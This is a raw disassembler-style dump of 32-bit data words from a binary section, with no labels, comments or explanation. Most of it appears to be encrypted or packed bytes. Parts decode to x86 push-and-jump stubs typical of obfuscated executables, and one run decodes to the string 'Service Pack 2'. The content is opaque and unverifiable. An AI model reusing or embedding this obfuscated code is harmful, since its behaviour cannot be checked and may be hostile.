dd 755A6747h, 0B3F78600h, 68DA4F16h, 414DE0C2h, 9DB552CCh dd 9BFA1B10h, 8AFCE551h, 8C64B82Dh, 0FC21168Bh, 6C1A4F6Dh dd 67C71E4Fh, 5881078h, 0EF647550h, 0FEDB9279h, 38h, 0DFFF57E3h dd 0C5E569F9h, 0D9F951E3h, 0CAE868F7h, 0DBFB59E8h, 972647E8h dd 0AD3B1DBDh, 902305A5h, 0A5381AB8h, 153A07A7h, 0B3F966E0h dd 48FA2F16h, 3C4h, 0E17B6A00h, 54E571BDh, 0DC6DDF72h dd 52E365FAh, 0E372E070h, 330252DFh, 0C392C20Fh, 1120307Fh dd 9EAF9B2Dh, 15242ABCh, 0E0895022h, 405h, 4E88300h, 5C240487h dd 57241489h, 0C781E789h, 4, 8704EF83h, 895C243Ch, 40682404h dd 89000023h, 6852241Ch, 743F4C56h, 8124148Bh, 4C4h, 90CA8100h dd 81002154h, 291D7AEAh, 5AD0896Eh, 465668h, 24248900h dd 4240483h, 481505Bh, 6D696924h, 8438F4Ah, 6969BF57h dd 7B294A6Dh, 1C8B5F08h, 0E7895724h, 4C781h, 0C7810000h dd 4, 5C243C87h, 5024048Bh, 405E089h, 83000000h, 48704C0h dd 45E95C24h, 9FFFD3Ch, 164483B8h, 8BC50306h, 0E900EBC8h dd 617h, 60BE9h, 462B6800h, 25E90616h, 68FFFD3Ch, 6164743h dd 0FD3C1BE9h, 47EA68FFh, 11E90616h, 68FFFD3Ch, 61648C1h dd 0FD3C07E9h, 49E968FFh, 0FDE90616h, 22FFFD3Bh, 0BEE4C294h dd 0DEC4E26Ch, 80A2004Ah, 9F81212Fh, 31644212h, 14408DFEh dd 0E4494B6h, 13358AB0h, 103C8DB3h, 37A6A9B2h, 16B3F9DBh dd 6C4E6DA4h, 0F46E76DCh, 4DF1DDC2h, 0B786C81Ah, 0FE717156h dd 0AE2C5B65h, 9D109E56h, 109E5741h, 9E56AB28h, 57389610h dd 5179109Eh, 9AFB4AFEh, 5752B352h, 0AC93109Eh, 67038919h dd 15ADA158h, 4383935Bh, 1E2C8022h, 8706CE4Fh, 909E4E07h dd 69464029h, 8F3C21F4h, 1CBBDA96h, 7A7A136h, 64F78E21h dd 553455E4h, 0AA245976h, 738A8B35h, 1D1BCA12h, 144FFCC4h dd 7F242ABCh, 7B1ACBC0h, 0B044295Ch, 654D907Bh, 0F26F79D5h dd 812ADE93h, 0A047F9F2h, 464A5h, 0FC5AE800h, 0E46AFCDEh dd 0FA50E4C6h, 0EB65F6DCh, 0FC58E5CBh, 2B40EFDEh, 3218B69Eh dd 3012B0A2h, 2B0DAD9Bh, 4714B29Ah, 0FB79D508h, 0CF4216B3h dd 0E06CBD73h, 1507251h, 90C50253h, 109DB536h, 0F5FF9EFFh dd 9DB53796h, 0A5E07310h, 0E8293814h, 4496B889h, 0B5533B0Ah dd 0A8125144h, 0EB3E6413h, 0B7134261h, 80109DB4h, 3081D31Dh dd 499CBE1Ch, 3B7BA403h, 9111C5AAh, 626403CDh, 815E7DCFh dd 9EB0920Ch, 0B23A5B10h, 8CBC0F33h, 34799BDh, 8811132h dd 0DE5BF51Dh, 0CABA134h, 0B3EC5923h, 0AE369594h, 0A14414B0h dd 92ECA341h, 52000003h, 51E06CBDh, 9DB4A120h, 5CEDD710h dd 9A3913A6h, 9D2725B8h, 38ADB2BFh, 109DB4DEh, 614966A7h dd 0ABEA7BCFh, 2B80C221h, 4A9BBD1Dh, 2B7DA502h, 0BC0C4E1Fh dd 7EEDF796h, 7B5B2342h, 0F9480455h, 0EBCB87D5h, 9DB51A78h dd 4C065610h, 52FA4B6Fh dd 84DDDB8Ah, 1130A502h, 62168EA5h, 8B842E23h, 0DE8D8005h dd 34C03h, 0A4B20000h, 0BC922406h, 0A2A83C1Eh, 0C38D1E04h dd 0E470BDE3h, 3358D7C6h, 2A10AEA6h, 381AB89Ah, 2305A5A3h dd 4F1CBA92h, 0FC81DD10h, 0D74A16B3h, 4DE0C26Bh, 52E3F5FFh dd 0D6676BFAh, 55E3E776h, 72F9DEFDh, 167592D7h, 12418F59h dd 109EAAF4h, 9E99E363h, 0AEFE2410h, 9BAD02A4h, 0E3B1FF51h dd 9E9A1872h, 55FB4C10h, 91B68504h, 0F8ADFB5Fh, 0E687E6E2h dd 6EA82657h, 9FCA109Eh, 0B24D6221h, 0D6CCA6Ah, 1AA991AEh dd 0DEE62736h, 8EE4AAAFh, 30CCF316h, 0D7C6D80Dh, 0E627C40Ch dd 6108973h, 322FBE80h, 2A5h, 9B3B1BA7h, 892925B5h, 953515A7h dd 8E2C24B3h, 97371DACh, 0D3628BA4h, 0B1FF2181h, 8C1F01A1h dd 0A93C1EBCh, 193603A3h, 0B3FC6AE4h, 84DE3316h, 8E1D6CBDh dd 0CE9FAFFFh, 0FE1F2E4Fh, 0CB1A409Fh, 9EA03F89h, 242E7E0Bh dd 83D2F445h, 0F190BA0Eh, 82CC5E60h, 0D6739DB3h, 0F4D607EFh dd 3D5CED63h, 32E059B3h, 0B50DAD9Fh, 0A341EAE7h, 2104Fh dd 0F94A7000h, 3D870657h, 4EE0C2A3h, 0BB0D3100h, 3E5FBE8Fh dd 0B4F757B6h, 0A033109Dh, 9A270BA8h, 626AABBAh, 4FF94E74h dd 387DCFEh, 9DB578D2h, 0BDDC4110h, 0CF6CE6ACh, 1E6BFF28h dd 725DB9Dh, 489BBDh, 4D4A0AA2h, 48F2A341h, 48000000h dd 0EBC8BEA3h, 8E98F77Ah, 0D88D1016h, 80056EEAh, 0CE815C0Bh dd 7E000001h, 0A2882630h, 0BAA03E10h, 0A4862426h, 0BB9D3D13h dd 9588262Eh, 70E4719Ah, 72E07052h, 6FD96E54h, 74D8694Fh dd 13428D56h, 16B3FCB7h, 0D6352980h, 0B51284F9h, 173B109Dh dd 0B13E86C6h, 29381CA9h, 0D6B79325h, 5CED63F4h, 0C90D5C3Dh dd 0CEF4D276h, 8FB90E7Bh, 2F3E5FBEh, 93B50A30h, 8EF0ED49h dd 93B50A30h, 90BC0D33h, 232F7DC1h, 0E7879A83h, 0AB002F95h dd 54CE3F20h, 1D109E96h, 0D36569F8h, 0D3661FB4h, 0C8A9E879h dd 0D10D09A9h, 972710AFh, 673C793Dh, 87CB1AA2h, 50025235h dd 8BB49131h, 684613BAh, 0C44D72A8h, 506D4CB8h, 96F4935Dh dd 0D7109E70h, 0BE2866F3h, 842A5EBCh, 0BFFBC5A4h, 73EF1EAAh dd 0AC109DCEh, 9DCDDD39h, 0D867A610h, 86F7D4B5h, 168EC83Fh dd 7C5E7DA0h, 634764EAh, 0A8E978D0h, 0BE103220h, 9D82C190h dd 0E1E3271Dh, 95B70180h, 13370642h, 9ABC8DC5h, 0F7350446h dd 0A4FCCEF2h, 1FF2A710h, 617E617Eh, 8A12B22Ch, 0D21A7B0Ah dd 7B07FE33h, 63167710h, 79F1DC8Dh, 0A6F6D39Ah, 0A6000000h dd 0BAA03E18h, 0A2882628h, 0BC9E3C0Eh, 0A385252Bh, 0ADA03E16h dd 78DC6982h, 6AE8785Ah, 77D1664Ch, 6CE07157h, 2B5A854Eh dd 16B3FDAFh, 0BD3D2178h, 0DCC3E06Ch, 2ADEFC36h, 0CD1CA4EAh dd 351BAC8Eh, 0F9DBE524h, 5BB72668h, 24109DD8h, 0C9B180E1h dd 351DCA3Fh, 3B1DA7A3h, 0FF4FDFAAh, 704E2F6Eh, 41C904D4h dd 17ACA3h, 70920000h, 109DB511h, 118AFC4Dh, 2DCFFC5h dd 183797F6h, 1Ch, 0B51270B6h, 0FB4E109Dh, 6B547151h, 4CC14E4Fh dd 109DF6D2h, 0E557A9Bh, 5A04CC3Ah, 255D168h, 2F000000h dd 0E571BD6Dh, 6DDF7254h, 0E365FADCh, 72E07052h, 252DFE3h dd 92C20F33h, 20307FC3h, 0AF9B2D11h, 242ABC9Eh, 0EC832215h dd 48F5404h, 24048124h, 4, 81E68956h, 4C6h, 4EE8300h, 5C243487h dd 52241489h, 0C281E289h, 4, 8704EA83h, 895C2414h, 6568241Ch dd 8B061645h, 0C4812414h, 4, 8904EC83h, 4812424h, 424h dd 89515B00h, 84B89D1h, 83240C8Bh, 34FF04C4h, 0C4815B24h dd 4, 5024148Bh, 405E089h, 83000000h, 48704C0h, 31E95C24h dd 3DFFFD36h, 0A0A99707h, 357A6A53h, 0ECD01A98h, 164AB4B8h dd 8BC50306h, 51E9D1h, 8B600000h, 3242474h, 7C8B3C76h dd 0D68B2824h, 0F8C281h, 8B660000h, 0B70F064Eh, 0F983C9h dd 16840Fh, 7A3B0000h, 158F0F0Ch, 83000000h, 428B28EAh dd 144A8B0Ch, 0F82BC12Bh, 1C247C89h, 8C261h, 4928C283h dd 0FFCF850Fh, 0E9E9FFFFh, 0BAFFFFFFh, 9FD3Eh, 166E9h dd 0D7D9B900h, 95ECE75Dh, 715893DAh, 0B6CFDF06h, 5D54FDBEh dd 0ECA43636h, 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h dd 77CB50C1h, 0ACAC3252h, 46BF009Ch, 90ADFC6Ch, 0A3365973h dd 72E275D6h, 90BD9Ch, 8CE693DDh, 0A592A79Bh, 0A7ABDD64h dd 918F9792h, 0F95CFC7Ah, 0B1E496B9h, 47E4B59Bh, 0E592B69Fh dd 0BDF694B6h, 0B3EBB59Eh, 93D0EC96h, 97BF999Ch, 0F55CFD7Bh dd 0AFF49389h, 0B2CD00EDh, 0E594A6E3h, 0C3B5D4h, 622D4457h dd 0AE29B0F3h, 2Ch, 34h, 38h, 2 dup(0) dd 4, 94h, 5, 1, 0A28h, 2, 76726553h, 20656369h, 6B636150h dd 3220h, 26h dup(0) dd 0E9000000h, 1F95h, 164F2068h, 3446E906h, 1868FFFDh dd 0E9061650h, 0FFFD343Ch, 1650BB68h, 3432E906h, 9D68FFFDh dd 0E9061651h, 0FFFD3428h, 16522F68h, 341EE906h, 1068FFFDh dd 0E9061653h, 0FFFD3414h, 1653B768h, 340AE906h, 6168FFFDh dd 0E9061654h, 0FFFD3400h, 16586A68h, 33F6E906h, 0F868FFFDh dd 0E9061658h, 0FFFD33ECh, 165A0E68h, 33E2E906h, 1C68FFFDh dd 0E906165Dh, 0FFFD33D8h, 16614668h, 33CEE906h, 6768FFFDh dd 0E9061664h, 0FFFD33C4h, 1665AA68h, 33BAE906h, 1C68FFFDh dd 0E9061666h, 0FFFD33B0h, 16667C68h, 33A6E906h, 0CE68FFFDh dd 0E9061666h, 0FFFD339Ch, 16686A68h, 3392E906h, 6568FFFDh dd 0E9061669h, 0FFFD3388h, 166B2768h, 337EE906h, 15A1FFFDh dd 0EF3F6141h, 7597F5Fh, 0EE3D6343h, 0CF5E4462h, 39F62585h dd 0EFCF85D4h, 0F7D77BC9h, 0ECCA7ED1h, 0F9D973C6h, 247EEFF0h dd 0ED16B402h, 0E0C28AB4h, 716EFF4Dh, 9DB4A2FCh, 4B2A6B10h dd 4EFE4F81h, 57FB4971h, 0AE3D8706h, 933319ACh, 9B384E93h dd 8EA30F6Ah, 3270816h, 6DE998B0h, 360A8A9Fh, 985F8D7h dd 0D20A8A9Fh, 59BC29B3h, 0E8E4CB08h, 0F74D203Fh, 0BB8F2185h dd 0CB74D231h, 3FCB0A89h, 0F0D2A2CAh, 3A7A5AADh, 0E0000000h dd 0EBC8BEA3h, 8BDA7AC7h, 554F447h, 0FEDBE584h, 8E988E8Fh dd 2F3E5F16h, 8A8980DEh, 0BE3BD70Ah, 0EE7A2E19h, 3F0E4291h dd 0DA98F9DEh, 6E2EB63Eh, 0D65AADD8h, 0B6h, 0E06CBD6Ch dd 0FF4FDFC3h, 46A52F6Eh, 0CE9FB504h, 4213398Ch, 3F9FAD00h dd 52CC411Eh, 1B109DB5h, 0B54DC93Ch, 0F716109Dh, 0A0BF4E96h dd 5D109DB1h, 5D67E375h, 4462EA7Bh, 0B081CB5Eh, 0BA196D74h dd 8EB6464Bh, 1DAB8F16h, 0A28C0677h, 30550A8Ah, 37810051h dd 4B4B6BAAh, 22537016h, 10750C1Fh, 143695F8h, 92F8FC5h dd 40E598BCh, 5D79EFE8h, 1CD093CEh, 51DD0000h, 3383A505h dd 4395BB1Bh, 3281A707h, 4B9AC01Eh, 0B57AA909h, 6B4B0958h dd 7B5BF745h, 68460255h, 7D5DEF42h, 0A0FA6B74h, 6916B403h dd 70BD0E30h, 51E4C6E4h, 89249335h, 9680462h, 0BEA30FA9h dd 7AC7EBC8h, 0B687C717h, 0B1AE3657h, 8E985D3Ch, 5EEF2E16h dd 8A87AF2Fh, 0F55DEB0Ah, 80D26264h, 87048EB1h, 3EBB579Eh dd 0AD395E1Eh, 0C2065Ah, 0BD5C0000h, 6D51E06Ch, 94E574E0h dd 109DB177h, 7DF09E2Fh, 109DB121h, 0FA490555h, 0FBDCFA9Bh dd 0AFF755D4h, 0D665EBAEh, 7FD11B7Ah, 104F1E2Eh, 0A9B89A2Ah dd 6298A6A2h, 0C6DA769h, 157178C4h, 6F4247B6h, 0AC8B168Eh dd 5C005A8Bh, 44C90A8Ah, 8A5BB915h, 0B903820Ah, 0E6C6232Ch dd 9DFB3942h, 87E2DEFCh, 99ADE0FFh, 92107479h, 1E2F1DB0h dd 19419EFFh, 82A88CCh, 4DE69BB9h, 5679EF64h, 1BD8BA97h dd 89D50000h, 7BCBEDCDh, 7BCDF3D3h, 7AC9EFCFh, 83D2F8D6h dd 6DC2F1D1h, 3A3B100h, 0E3C38F1Dh, 0DE6ABDh, 0E5C587DAh dd 882F3DCh, 0D116B405h, 0E0C2E658h, 98BA0250h, 85AB0B49h dd 20BA1834h, 51E06CBDh, 5270DC6Dh, 8CFB4D75h, 6B75143Ah dd 11588965h, 503123B2h, 0A5630273h, 1174168Eh, 0C8FB5FEEh dd 3C25A600h, 5F86D4Ah, 0FE53ED25h, 7772CE9Fh, 883DB00Fh dd 14DD9FBh, 0ED203F9Ch, 41D5E771h, 0C411DB3Ah, 0A1014BDEh dd 450F9E84h, 8108597Bh, 0CD4C1D31h, 0D5E0B9ACh, 5615B750h dd 1B357Bh, 6CEA7800h, 74DA6C4Eh, 6AE07456h, 7BD5664Ch dd 6CE8755Bh, 0BBD05F4Eh, 0A288262Eh, 40624012h, 5B7D5DEBh dd 5764420Ah, 4890578h, 3F5216B4h, 0E06CBD23h, 20557251h dd 109DB4A6h, 388C2E6Fh, 0FAC24312h, 0B025A3BEh, 109DB556h dd 0A1A93B1Fh, 71107190h, 0AF3E2352h, 0B6D7168Eh, 1103718h dd 7A1E139Ch, 0C0D2F8C0h, 0E7C4C2A7h, 7B3CF776h, 434F7810h dd 188BD5A9h, 0EAF07D47h, 0ABDAF95Bh, 477392Fh, 13F495F8h dd 66EA17Ah, 0D4B2B7CBh, 0CC7386F7h, 296C42B6h, 0FEC51C18h dd 7293A2ACh, 3E8EB413h, 0E2C44514h, 0E6F3FD4Fh, 0A3A3C277h dd 3887AB3Ch, 0C84918h, 9D852263h, 92F3420Eh, 94250D4Ah dd 153D1AB8h, 135DC2C4h, 0E059EEBBh, 8751B081h, 2558F445h dd 0A61A965Eh, 53EDE87Fh, 5A00001Ah, 466C4A0Ch, 567C5AF4h dd 486A4802h, 577959F7h, 396C4A0Ah, 0C4895F6h, 163C8CAEh dd 0B3D92B8h, 183485ABh, 3FAEB1BAh, 16B405E3h, 0BDC975ACh dd 5351E06Ch, 2A5B780Eh, 168EA4EBh, 70EA1B3Ch, 390A8AA4h dd 2F15B5D4h, 0C2C41DBEh, 94F170E5h, 8302107Bh, 0EABFED60h dd 243D800Eh, 0CE5D4562h, 0E12437BCh, 0DCBD6B09h, 0A396C714h dd 9C6DC008h, 95CCE879h, 0CEA3D2F1h, 4767ACDFh, 70C1E9C6h dd 89DCFEDCh, 0B9E38EC3h, 39F0D123h, 19C11Ch, 0F85EEC00h dd 0E866F8DAh, 0F654E8CAh, 0EF61F2D8h, 0F85CE9CFh, 2744EBDAh dd 361CBA9Ah, 2C0EACA6h, 2F11B197h, 4310AE9Eh, 76DE91Ch dd 0E33616B4h, 0C6DDC27Fh, 13354E0Fh, 83D27CCEh, 77596302h dd 0D9D766E6h, 0A4D9F690h, 168EE8A1h, 9ABB1B7Ah, 0A12B29B8h dd 96BC26ABh, 1B380943h, 8AD670EAh, 0B5D4390Ah, 0ACDA0F2Bh dd 0C75FDE0Fh, 6770107Bh, 64607ABCh, 44557A6Dh, 3569BCCAh dd 0A8F71879h, 10213382h, 2498E7F1h, 91E1B9D8h, 743A90A6h dd 0BA02ECC4h, 8423637Eh, 26D65C51h, 372550Dh, 122D387h dd 9DACCD50h, 0F26CA1BEh, 0BB0122D2h, 0A98B755Ah, 634D081h dd 1F6782BEh, 5479AC0h, 9A6F9EBBh, 830713A6h, 7840109Fh dd 250DAAEBh, 381AB894h, 0C9B2A7A5h, 2708A80h, 18E06E6Bh dd 81CD0000h, 83D3F5D5h, 73C5EBCBh, 82D1F7D7h, 7BCAF0CEh dd 65CAF9D9h, 3B9BB908h, 2B8BC715h, 3896B205h, 2D8DBF12h dd 50CA3B24h, 1916B408h, 6CBD5E00h, 0E5351E0h, 97C5B78h dd 109DB48Dh, 0B0AD3756h, 8EAA083Dh, 0C4C6F116h, 727F4849h dd 0ADF07D47h, 16B7270Dh, 0E91CBBCBh, 107B1448h, 3AD33459h dd 772EA09Bh, 4562243Dh, 9F0B1D10h, 0F6311676h, 0D9E2644h dd 0EB7AD665h, 9BAACBAAh, 6542449Dh, 8BA13DF0h, 4194B670h dd 0BADB3A0Bh, 0A8A4351Dh, 0B5052D0Ah, 0ACFD4F99h, 7BD4ADA0h dd 32F9DA02h, 183917h, 70E67400h, 70DE7052h, 6EDC7052h dd 77D96A50h, 70E47157h, 9FCC6352h, 3E644212h, 644664EEh dd 775979CFh, 7B4866E6h, 7A52154h, 3B6E16B4h, 70E5C207h dd 109DB516h, 2436BEDFh, 8EAABB91h, 0AE943353h, 2224351Fh dd 6BAABB8Dh, 0DE38AD0Ah, 0A7109DB4h, 0C815E66h, 168BF8DCh dd 0B32F5E81h, 7C0A8767h, 0F312CF19h, 7FDFEBD4h, 979D3329h dd 972A104Dh, 0FCE615B5h, 0F60A8728h, 173999E9h, 12986C6h dd 7559FB3h, 7A4E207h, 756DC6D6h, 3D9AFB10h, 2989C515h dd 0C697B707h, 661B3184h, 79EBCB89h, 8FF6D39Ah, 1E000017h dd 0C2E8C690h, 0DA00DE70h, 0C4E6C486h, 0DBFDDD73h, 0B5E8C68Eh dd 90C4117Ah, 92C01032h, 8FB90E34h, 94B8092Fh, 0B3222D36h dd 16B40957h, 0A3550920h, 0CCEBC8BEh, 0BEFD42E3h, 0A7311495h dd 8C314858h, 0BB187D16h, 6EAFB39Ch, 0F5FDD169h, 845190CEh dd 48905C52h, 3999B306h, 3A0E2FDh, 0D091481Ch, 0C711B6B9h dd 9F0B5B8Ah, 59BC0A87h, 9F187908h, 706F0A87h, 8C54F64Ah dd 0FCDE8902h, 7FD7E167h, 5AA80CB1h, 8019h, 0DDC23D00h dd 8BF04928h, 3D794387h, 64436022h, 0D465EF3Eh, 90C411B5h dd 97840C1h, 109DC991h dd 93C2E5C2h, 109DCA37h, 72EC9D00h, 3B109DCAh, 305512DAh dd 0CA72D021h, 1AAE109Dh, 8A1D2130h, 1AABAFBEh, 0C1E22332h dd 844D38D1h, 0E4C6710Ah, 6AF2FA50h, 0A341F3AAh, 2412h dd 11702800h, 33109DB5h, 0A7B582Eh, 168EA403h, 70DA6E54h dd 4CDDE1h, 27B1D031h, 5A7B5BBAh, 626AE878h, 0C8BEA3F8h dd 51E6CCEBh, 0CFAEA434h, 0AF9B8605h, 0C144168Eh, 51FB4E70h dd 2735471h, 0A8A9888h, 0D204CC51h, 84DE0F7Fh, 0BD0A8A98h dd 8A97CE48h, 0E976970Ah, 0C4E6C5A4h, 508FDE74h, 8A97C11Dh dd 6A0B8A0Ah, 97BE184Dh, 6870A8Ah, 9E2B2FBEh, 9C2B66F3h dd 564A5B4h, 62F1D564h, 0D0B1992Bh, 63EF3D81h, 781181D2h dd 0A285BA8Dh, 8A97D733h, 737DA00Ah, 5FF2A019h, 5AEBCDEDh dd 0CDAC9C2Fh, 5D29407Ch, 84020F7Eh, 0AAEB107Bh, 0B4072B0Ch dd 7C44C594h, 6645075Ah, 7492A441h, 9D3CEF3h, 95CC2B5Ah dd 1D555C84h, 95D4FBACh, 0F0976FD8h, 22B3A52Fh, 13A68C2Ah dd 72B2839h, 0FD4F99B9h, 0BD93A2AEh, 0B90CB653h, 0BC0D3393h dd 80D17DCDh, 0D3D16001h, 0AADBF88Eh, 92319437h, 2C0EADF0h dd 0F45EEE97h, 0F4452465h, 2B0D4B95h, 2D15B29Ah, 0C726AE9Ah dd 4C1D3583h, 0E7D1B90Ah, 8F2E35C3h, 5A7CCDACh, 0D1F64709h dd 9C513AC3h, 0F121324Ah, 3517AA58h, 0B384E524h, 0C518CA3Fh dd 21062787h, 0C351AAC3h, 26B317E3h, 0F6FE1F2Eh, 6AFB51E4h dd 21B0134Eh, 755233h, 8C1DD109h, 86C4183Ah, 0E18E56B7h dd 0A93C1EBCh, 8AB592A3h, 4DA3F175h, 449ECF44h, 0D801A4Eh dd 0A0DFE988h, 701A4E22h, 0B180CA5Eh, 42133F8Dh, 7E67E40Eh dd 13C4355Dh, 2AB2A22Fh, 17B79528h, 9BAA9E31h, 1B2A2AB7h dd 0AE64D573h, 0A98F2F19h, 0AD953216h, 0E223321Eh, 0F8478BDAh dd 4DEF6B9Ah, 9123701Ah, 0DA69A8B9h, 0D88BDABBh, 0DD75C3E7h dd 52007913h, 0FE588DFDh, 32701A4Dh, 7E9FAEA0h, 0EDCDACF1h dd 81D078CBh, 6B483E23h, 0B482FFAh, 0A4B5D876h, 15CD3EB0h dd 72886C2h, 3259B528h, 0E3226A07h, 2366F7D9h, 8BDABB93h dd 4293F647h, 0B78FA50Ah, 319D9585h, 8FF90150h, 57F548FAh dd 164E4F78h, 0F3D874C5h, 757FAD5Fh, 0D3644667h, 2DEB737Dh dd 95FA28F5h, 23h, 0DE6ABDA9h, 4E38318Fh, 85A9FC71h, 0EDD2168Eh dd 71449EBCh, 0FA677164h, 0A7C684D8h, 3F2807h, 0C2860000h dd 320351E0h, 74C709D3h, 0A5D8F7D4h, 109DB529h, 0F07FCB5Dh dd 0B5247EEFh, 0A8ED109Dh, 4460FFC9h, 654A691Dh, 0B3FCA904h dd 0BC99234Ch, 8F32F449h, 0FB6A6D16h, 0A8B2E9Fh, 66442568h dd 0C0D9B9CCh, 74EE1FA9h, 3D109DB5h, 0EB1AB9D8h, 168EA64Ah dd 0B29D3A5Bh, 29773299h, 6627B115h, 1B2C6BE7h, 675C85DEh dd 0A8E978D8h, 77C8EAC9h, 0E5C20FD9h, 9B1D6FBDh, 0F5F78133h dd 0C3428AEBh, 1BC80DAEh, 0D9D766A7h, 0ABA33390h, 0E5CAEDCAh dd 5B7CC384h, 22616B47h, 15B4E34Fh, 213382C8h, 1524307Dh dd 143695F4h, 0D775C8C1h, 0C73619B6h, 9B0CF4Bh, 0E9E7F114h dd 0C11376C7h, 3859B889h, 2BBD3045h, 0A3BE6D7Fh, 1386h dd 1BBB9B27h, 9A9A535h, 15B59527h, 0EACA433h, 17B79D2Ch dd 53E20B24h, 317FA101h, 0C9F8121h, 29BC9E3Ch, 99B68323h dd 0B40CEA64h, 45EB316h, 9DB61670h, 8F393010h, 203119ABh dd 0B41670E1h, 0DF109Dh, 9DB4118Dh, 0DABBDA10h, 0A5361CBBh dd 717B9AABh, 0A21CF164h, 0B0D5168Eh, 0AC9C2F13h, 310E310Eh dd 8A9C62BCh, 7BEA2B0Ah, 0A8A9C1Fh, 9BA92558h, 13720A8Ah dd 0D5F7C144h, 5377C682h, 0C174A02h, 3580058Ah, 12F85B76h dd 29B50000h, 1BAB8D2Dh, 1BAD9333h, 1AA98F2Fh, 23B29836h dd 8DA29131h, 2383D160h, 3A3AFFDh, 20BE8A1Dh, 5A5A73Ah dd 68E2133Ch, 3116B40Dh, 0E5C246F8h, 9DB51670h, 36BEDF10h dd 8A7DF0Ah, 8EA400D5h, 7754B916h, 70E27258h, 7AD46668h dd 6AE4765Ch, 0E666F7DBh, 6BE37357h, 2569F8DAh, 0AC7A96A2h dd 0EE7F1E52h, 2411AA28h, 3AED5E90h, 0F1DB1B15h, 0C20AD7D4h dd 0B2103E90h, 7078118Ch, 17A7F314h, 0AAAF9837h, 27135EC7h dd 176605CFh, 0A8AAAB6h, 0E98E2B97h, 16DE72C1h, 0FFDC72C4h dd 72C38BDBh, 0A58BC913h, 0C283915h, 0E312B1D5h, 1078EF91h dd 2288706h, 72D5D7AFh, 7D005537h, 9398BF1Ch, 0A85875E1h dd 4A706E76h, 517655F7h, 0C5315BE3h, 10CF195Ch, 1AB9CD14h dd 62F414EBh, 0AF0C910Ah, 0A13FA790h, 92A881C1h, 636D0C3Eh dd 4E6CE071h, 5473D96Ch, 8BB3816Bh, 3CD7BFDh, 65214864h dd 39FA1746h, 0C243044Fh, 0C6279E8Fh, 0D9F4B36Dh, 11E2h dd 0F7D77FCBh, 0EDCD81D1h, 0F1D179CBh, 0F2D080CFh, 0F3D381D0h dd 0AFFE6FC0h, 952305A5h, 0A83B1DBDh, 8D2002A0h, 0D521FBFh dd 0B40F7ED8h, 70D24716h, 2130DDC2h, 599871D8h, 0E89DF08Fh dd 6EC1109Dh, 0A5BCFCDAh, 0E493C2E1h, 51168C33h, 62BC310Eh dd 2B0A879Dh, 9D1F7BEAh, 0A5E80A87h, 71C3E7C4h, 475FF9D9h dd 0A3C1DE89h, 18531h, 0E0C20500h, 0C7F3FD4Bh, 0DFC3E09Eh dd 0D1300151h, 93C24D07h, 109DB532h, 1F7BEA29h, 0E8109DB5h dd 0C3E7C4A5h, 0A8BDA72h, 68C218C2h, 77580B75h, 9DB48C06h dd 0DD6D5510h, 42B31071h, 109DB4C8h, 1AC40C91h, 8675DDC2h dd 5C430D9Eh, 22AAD31Ch, 9EB8C816h, 0BDA3A781h, 64FE6BC7h dd 41DE9947h, 0EC547BA6h, 0A7D32489h, 37B2E9F3h, 88000000h dd 69C5BBA3h, 0B53293C2h, 8203109Dh, 50E0C2A8h, 3F5EEE3Fh dd 0A887A8B5h, 9DB4D935h, 5963A210h, 0DF6BBDFFh, 4DDC283h dd 1B60CC9h, 0A87A9C24h, 53C4h, 0BBA36A00h, 0DE062AFFh dd 7F1E66C4h, 0CF47760h, 0BDBD5318h, 9E87CE48h, 17769710h dd 0DDC213CDh, 0AD20ACF8h, 578625CEh, 109DC6FBh, 5A7741C4h dd 9DC6AA2Bh, 372A110h, 109DC687h, 0E84128B8h, 6CFBF6D3h dd 0C2EE4829h, 51E0C268h, 4597B903h, 0E37D2905h, 41DE9947h dd 4641A6h, 0B0920000h, 2DA7311Fh, 6BC7BDA3h, 0F5BAE5C2h dd 60BA2BC9h, 29109E7Ch, 1844BFE4h, 56B7569Eh, 27109E7Ah dd 0E0C24CE6h, 0E6F3FD4Bh, 4DE0C24Ch, 0B552CC41h, 0FA1B109Dh dd 814BCA9Bh, 0F34FFF4Fh, 1BC4E37Dh, 6A000000h, 6BC7BDA3h dd 351E0C2h, 0E8699CB9h, 0DF109DB4h, 68C2E47Eh, 45E16DBDh dd 0E5C2E37Dh, 9DB51670h, 0C41E4F10h, 8D109DB4h, 0F8DA3B08h dd 3859E866h, 0FE79A5B0h, 0A486FFFFh, 0EF2E3F15h, 0E0C27BE5h dd 7CB8004Eh, 53822165h, 168BF941h, 92B81776h, 90AD0D3Fh dd 89DE87A7h, 0DD7CBF3h, 0EFCCB6B1h, 35ABE7D0h, 6B9B5F6Dh dd 86F9A0FAh, 8724690Ah, 86F9FC56h, 7840C50Ah, 0F9B02A5Bh dd 14790A86h, 93240645h, 7CD433BDh, 0C70A86FAh, 0CC46B798h dd 950A86F9h, 50FA4E70h, 0DA8DFE88h, 346CDCF5h, 0DD7B0F7h dd 0A84A8755h, 2B2F5Ah, 70130000h, 109DB512h, 7151FB4Eh dd 9DB48302h, 7BCA510h, 49C899B9h, 435A8B28h, 84168EA3h dd 9E84A101h, 5D78400Ah, 0B2h, 0C8BEA301h, 0AB037AEBh dd 8104168Eh, 0A3EFFD22h, 3143DB15h, 9B00A4CAh, 0F4FC41CAh dd 0D870C3E7h, 0C787D7FBh, 8FCD1776h, 233216A9h, 0DAADC05h dd 7888B0D8h, 33A28510h, 473F7D7h, 0C495BD0Bh, 3397F645h dd 0C623ADA5h, 16476847h, 473F7BCh, 9BB80085h, 0FF5E24B7h dd 0E151157Bh, 0ECCEEC8Dh, 4460F157h, 1B4A691Dh, 0A623E6Fh dd 3416B5D8h dd 250BABA1h, 8EC5B894h, 0CF73D898h, 0ED43D18h, 8DD90000h dd 77C7E9C9h, 7FD1F7D7h, 76C5EBCBh, 87D6FCDAh, 71BEEDCDh dd 2787CD1Ch, 3F9FB301h, 2482C619h, 1A1ABFEh, 6CE61738h dd 3516B412h, 0E5C282DCh, 9DB51670h, 6DFBDF10h, 543554E5h dd 55F74A8Ch, 0DD6FC204h, 0FE87DCFEh, 7091A0AAh, 7218C711h dd 1EAF63D8h, 6434902Eh, 0CCA341E6h, 68h, 0C8BEA372h, 57E6CCEBh dd 99A8AA3Ah, 30CF1978h, 168EA63Dh, 0C8C11436h, 786D775h dd 0D7B6D766h, 98F14486h, 0D7360745h, 183718B6h, 8AA369E5h dd 9D3320Ah, 0F9D676C7h, 0BA0D84D1h, 3F5EEF8Eh, 311936B5h dd 783F2A4h, 0D00A8AA3h, 0FC1D2C4Dh, 0E5A1C8F4h, 72C1E9C6h dd 0C60E8FDEh, 7B98AE47h, 1AABAF10h, 0D5735332h, 0C1E16DBDh 